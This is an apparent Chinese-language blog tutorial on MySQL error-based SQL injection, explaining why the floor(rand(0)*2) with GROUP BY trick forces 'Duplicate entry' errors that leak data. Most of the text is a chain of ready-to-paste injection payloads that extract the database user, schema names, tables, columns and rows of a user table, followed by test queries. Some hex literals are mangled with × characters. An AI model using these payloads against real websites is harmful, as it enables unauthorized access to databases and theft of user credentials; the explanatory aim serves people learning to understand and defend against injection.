看了一下关于mysql报错注入的技术文章，都是通过类似以下的语句进行注入的。这样的语句被称为公式“公式”，好多小菜都是拿来直接用，不知道为什么会是这样。可是偏偏有我这种二货一定要搞明白这几句。
先来看看注入的全过程：
admin’ union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() limit 0,1))a from information_schema.tables group by a)b#
爆所有库
and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,0×27,schema_name,0×27,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
爆当前数据库
username=-99999999999′ and(select 1 from(select count(*),concat((select (select concat(0x7e,0×27,hex(cast(database() as char)),0×27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
爆表
and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0×27,hex(cast(table_name as char)),0×27,0x7e) from information_schema.tables where table_schema=0x64656D6F limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
爆字段
and(select 1 from(select count(*),concat((select (select (select distinct concat(0x7e,0×27,column_name,0×27,0x7e) from information_schema.columns where table_schema=0x64656D6F and table_name=0×75736572 limit 0,1)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
爆内容
and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0×27,user.username,0×27,0x7e) from user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#
爆出内容目的就达到了，这些语句让我最无法理解的就是floor(rand(0)*2))，group by x，完全不知道拿出来是做什么的。
查相关资料在mysql官方介绍中找到答案：
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times.
意思就是不能再ORDER BY 中使用 RAND() 了。
那就也不能用GROUP BY了。。
用了就会报错了。
admin’ union select 1 from (select count(*),concat(floor(rand(0)*2),(select user() limit 0,1))a from information_schema.tables group by a)b#
a为：concat(floor(rand(0)*2),(select user() limit 0,1))
有rand，后面又出现group by a语句，所以就报错了Duplicate entry ‘root‘ for key ‘group_key’
而这里的“’XXXXXXXXXX”就是 user()的内容，这样就有了用户名。
可以进行如下的测试：
报错的：
SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b–
去掉rand后没有报错：
SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(0,(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables GROUP BY a)b–
去掉GROUP BY a 后没有报错：
SELECT id FROM keyword WHERE id=1 UNION SELECT 1 FROM (SELECT COUNT(*),CONCAT(FLOOR(RAND(0)*2),(SELECT CONCAT(0x5f,DATABASE(),0x5f,USER(),0x5f,VERSION())))a FROM information_schema.tables )b–